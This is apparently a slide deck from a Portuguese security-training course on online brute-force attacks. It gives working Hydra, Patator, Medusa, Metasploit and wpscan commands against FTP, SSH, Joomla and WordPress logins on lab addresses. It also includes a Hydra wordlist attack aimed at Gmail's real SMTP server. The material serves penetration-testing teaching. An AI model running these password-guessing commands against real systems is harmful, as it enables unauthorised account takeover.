eSecurity

Treinamentos em Segurança da Informação

O que temos para hoje?

Menu do dia:

- ✓ **Online Brute Force:**
  - ✓ Objetivo
  - ✓ Quebrando FTP e SSH com Patator
  - ✓ Quebrando FTP e SSH com Hydra
  - ✓ Quebrando FTP e SSH com Medusa
  - ✓ Quebrando FTP e SSH com Metasploit
  - ✓ Auditando SMTP
  - ✓ **Ataques à WEB**
    - ✓ Auditando senha de CMS: Joomla
    - ✓ Auditando senha de CMS: Wordpress
    - ✓ Criando seu próprio laboratório de testes
    - ✓ Ataques de sessão

Online Brute Force

Online Brute Force: Objetivo

Nesta aula, iremos realizar alguns ataques básicos e avançados, afins de conhecermos diferentes maneiras de se realizar um ataque de força bruta online e também a técnica que cada uma das ferramentas nos proporciona.

Aproveitaremos e construiremos algumas dificuldades em nosso caminho, para podemos entender que são raros os métodos para proteger seu ambiente contra ataques de força bruta.

Vamos então colocar a mão na massa.

Quebrando FTP e SSH com Patator

Patator é uma excelente ferramenta para testes em Serviços:

Atacando serviço FTP:
patator ftp_login host=192.168.1.42 user=FILE0 password=FILE1 0=u.txt 1=s.txt -x ignore:mesg='Login incorrect.‘

Atacando serviço SSH:
patator ssh_login host=192.168.1.42 user=FILE0 password=FILE1 0=u.txt 1=s.txt -x ignore:mesg='Authentication failed.'

Quebrando FTP e SSH com Hydra

Hydra já é conhecida entre os pentests, vamos ver ela em ação:

Atacando serviço FTP:
hydra -L u.txt -P s.txt 192.168.1.42 ftp

Atacando serviço SSH:
hydra -L u.txt -P s.txt 192.168.1.42 ssh

Quebrando FTP e SSH com Medusa

Medusa é um brute force de login de serviços de rede.

Ele é rápido, massivamente paralelo e modular, atualmente com módulos para os seguintes serviços:

AFP, CVS, FTP, HTTP,IMAP, MS-SQL, MySQL, NCP (NetWare), NNTP, PcAnywhere, POP3, PostgreSQL,rexec, rlogin, rsh, SMB, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet,VmAuthd, VNC.

Também inclui um módulo básico web-form e o módulo genérico wrapper para scripts externos.

Quebrando FTP e SSH com Medusa

Hydra já é conhecida entre os pentests, vamos ver ela em ação:

Atacando serviço FTP:

medusa -h 192.168.1.34 -U u.txt -P s.txt -M ftp

Atacando serviço SSH:

medusa -h 192.168.1.34 -U u.txt -P s.txt -M ssh

Quebrando FTP e SSH com MSF

Podemos utilizar também o MSF para realizar ataques em serviços. Veja:

Atacando serviço FTP:

```
Msfconsole
use auxiliary/scanner/ftp/ftp_login
set PASS_FILE /root/pass.txt
set USER_FILE /root/user.txt
set RHOSTS 192.168.1.42
exploit
```

Atacando serviço SSH:

```
msfconsole
auxiliary/scanner/ssh/ssh_login
set USER_FILE /root/user.txt
set PASS_FILE /root/s.txt
set RHOSTS 192.168.1.42
set BRUTEFORCE_SPEED 0
set RPORT 22
```

Auditando SMTP

É importante também realizar auditorias em serviços prioritários para empresa, como o SMTP.

Afinal de contas, esse talvez seja o serviço mais utilizado e mais confidencial na maioria das empresas.

Temos que entender que há diferentes portas diferentes para se trabalhar com SMTP e o Nmap pode nos ajudar em muitos casos.

Tente:

```
hydra smtp.gmail.com -l teste@esecurity.com.br -P wlist.txt  -s 465 smtp -S -v -V
```

Auditando senha de CMS: Joomla

Para podermos realizar ataques em um CMS, principalmente em um painel administrativo protegido por sessão, temos que utilizar uma ferramenta especial, chamada BJOOMLA, essa ferramenta além de rápido e leve, é altamente funcional.

Faça o download do código em:
http://pastebin.com/NuxHBDwp

Use a seguinte sintaxe:
./bjoomla.py -h http://192.168.1.42/joomla/administrator -u admin -P s.txt

Auditando senha de CMS: Wordpress

No caso do Wordpress, não existe uma ferramenta específica que pode nos apoiar neste caso, afinal, as ferramentas que já existem estão desatualizadas. Surpreendentemente, o principal scanner para wordpress pode nos apoiar nessa missão.

Tente:

wpscan --url http://192.168.1.42/wordpress/ --wordlist /root/s.txt

Criando laboratório de testes

Durante esta aula, iremos criar em PHP um ambiente de testes de senha, trabalharemos de diversas maneiras diferentes e com níveis de dificuldades alternativos para explorar mais conhecimento sobre a técnica de Brute Force.

Não utilizaremos banco de dados, visto que essa prática é indiferente quando estamos do lado do cliente.

Ataques de sessão

Diversas páginas utilizam de métodos para dificultar o processo de brute force e a técnica de usar sessão não é diferente.

Criaremos campos ocultos em sistemas de logins e vamos tentar utilizar algumas ferramentas para tentar forçar a descoberta de senha.

Iremos identificar que em casos atípicos, as ferramentas comuns podem não mais nos atender e teremos que migrar para ferramentas alternativas.

Chega por hoje

www.eSecurity.com.br

E-mail: alan.sanches@esecurity.com.br

Twitter: @esecuritybr e @desafiohacker

Skype: desafiohacker

Fanpage: www.facebook.com/academiahacker